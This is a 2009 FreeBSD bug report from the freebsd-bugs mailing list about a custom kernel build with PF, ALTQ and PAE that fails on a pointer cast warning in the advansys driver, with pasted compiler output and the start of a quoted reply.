www-3.1 Cc: Subject: kern/136777: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 06:50:02 -0000 >Number: 136777 >Category: kern >Synopsis: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Wed Jul 15 06:50:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Cristopher Atienza >Release: FreeBSD 7.2-RELEASE-p2 >Organization: DirectWithHotels Ltd >Environment: FreeBSD cfatechz.com 7.2-RELEASE-p2 FreeBSD 7.2-RELEASE-p2 #0: Wed Jun 24 00:57:44 UTC 2009 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 >Description: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 1. Added the following line entries on /usr/src/sys/i386/conf/CUSTOM file ident CUSTOM device pf device pflog device pfsync options ALTQ options ALTQ_CBQ # Class Bases Queuing (CBQ) options ALTQ_RED # Random Early Detection (RED) options ALTQ_RIO # RED In/Out options ALTQ_HFSC # Hierarchical Packet Scheduler (HFSC) options ALTQ_PRIQ # Priority Queuing (PRIQ) options ALTQ_NOPCC # Required for SMP build options PAE # Physical Address Extensions Kernel .. 2. Starting building new kernel with PF support and PAE. cfatechz.com /usr/src # make buildkernel KERNCONF=CUSTOM ... cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low_pisa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_pass.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_sa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_ses.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api-fst.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha1.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha2/sha2.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_cam.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_debug.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_disk.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_pci.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_eisa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_pci.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/advansys.c cc1: warnings being treated as errors /usr/src/sys/dev/advansys/advansys.c: In function 'adv_action': /usr/src/sys/dev/advansys/advansys.c:259: warning: cast from pointer to integer of d ifferent size *** Error code 1 Stop in /usr/obj/usr/src/sys/CUSTOM. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. cfatechz.com /usr/src # .... >How-To-Repeat: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 1. Added the following line entries on /usr/src/sys/i386/conf/CUSTOM file ident CUSTOM device pf device pflog device pfsync options ALTQ options ALTQ_CBQ # Class Bases Queuing (CBQ) options ALTQ_RED # Random Early Detection (RED) options ALTQ_RIO # RED In/Out options ALTQ_HFSC # Hierarchical Packet Scheduler (HFSC) options ALTQ_PRIQ # Priority Queuing (PRIQ) options ALTQ_NOPCC # Required for SMP build options PAE # Physical Address Extensions Kernel .. 2. Starting building new kernel with PF support and PAE. cfatechz.com /usr/src # make buildkernel KERNCONF=CUSTOM ... cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_low_pisa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_pass.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_sa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/cam/scsi/scsi_ses.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-alg-fst.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api-fst.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/rijndael/rijndael-api.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha1.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/crypto/sha2/sha2.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_cam.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_debug.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_disk.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/aac/aac_pci.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_eisa.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/adv_pci.c cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -Wundef -Wno-pointe r-sign -fformat-extensions -nostdinc -I. -I/usr/src/sys -I/usr/src/sys/contrib/altq -D_KERNEL -DHAVE_KERNEL_OPTION_HEADERS -include opt_global.h -fno-common -finline-l imit=8000 --param inline-unit-growth=100 --param large-function-growth=1000 -mno-al ign-long-strings -mpreferred-stack-boundary=2 -mno-mmx -mno-3dnow -mno-sse -mno-sse 2 -mno-sse3 -ffreestanding -Werror /usr/src/sys/dev/advansys/advansys.c cc1: warnings being treated as errors /usr/src/sys/dev/advansys/advansys.c: In function 'adv_action': /usr/src/sys/dev/advansys/advansys.c:259: warning: cast from pointer to integer of d ifferent size *** Error code 1 Stop in /usr/obj/usr/src/sys/CUSTOM. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. cfatechz.com /usr/src # .... >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Wed Jul 15 08:20:07 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 08CD7106564A for ; Wed, 15 Jul 2009 08:20:07 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id E88A28FC1E for ; Wed, 15 Jul 2009 08:20:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6F8K6dq020752 for ; Wed, 15 Jul 2009 08:20:06 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6F8K6Hd020751; Wed, 15 Jul 2009 08:20:06 GMT (envelope-from gnats) Date: Wed, 15 Jul 2009 08:20:06 GMT Message-Id: <200907150820.n6F8K6Hd020751@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: Manolis Kiagias Cc: Subject: Re: kern/136777: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Manolis Kiagias List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 15 Jul 2009 08:20:07 -0000 The following reply was made to PR kern/136777; it has been noted by GNATS. From: Manolis Kiagias To: Cristopher Atienza Cc: freebsd-gnats-submit@FreeBSD.org Subject: Re: kern/136777: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 Date: Wed, 15 Jul 2009 10:46:37 +0300 Cristopher Atienza wrote: >> Number: 136777 >> Category: kern >> Synopsis: Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 >> Confidential: no >> Severity: critical >> Priority: high >> Responsible: freebsd-bugs >> State: open >> Quarter: >> Keywords: >> Date-Required: >> Class: sw-bug >> Submitter-Id: current-users >> Arrival-Date: Wed Jul 15 06:50:01 UTC 2009 >> Closed-Date: >> Last-Modified: >> Originator: Cristopher Atienza >> Release: FreeBSD 7.2-RELEASE-p2 >> Organization: >> > DirectWithHotels Ltd > >> Environment: >> > FreeBSD cfatechz.com 7.2-RELEASE-p2 FreeBSD 7.2-RELEASE-p2 #0: Wed Jun 24 00:57:44 UTC 2009 root@i386-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC i386 > >> Description: >> > Building new Kernel with PF and PAE support failed on FreeBSD 7.2-RELEASE-p2 > > 1. Added the following line entries on /usr/src/sys/i386/conf/CUSTOM file > > ident CUSTOM > > device pf > device pflog > device pfsync > > options ALTQ > options ALTQ_CBQ # Class Bases Queuing (CBQ) > options ALTQ_RED # Random Early Detection (RED) > options ALTQ_RIO # RED In/Out > options ALTQ_HFSC # Hierarchical Packet Scheduler (HFSC) > options ALTQ_PRIQ # Priority Queuing (PRIQ) > options ALTQ_NOPCC # Required for SMP build > > options PAE # Physical Address Extensions Kernel > .. > > 2. Starting building new kernel with PF support and PAE. > > cfatechz.com /usr/src # make buildkernel KERNCONF=CUSTOM > > ... > cc -c -O -pipe -std=c99 -g -Wall -Wredundant-decls -Wnested-externs -Wstrict-protot ypes 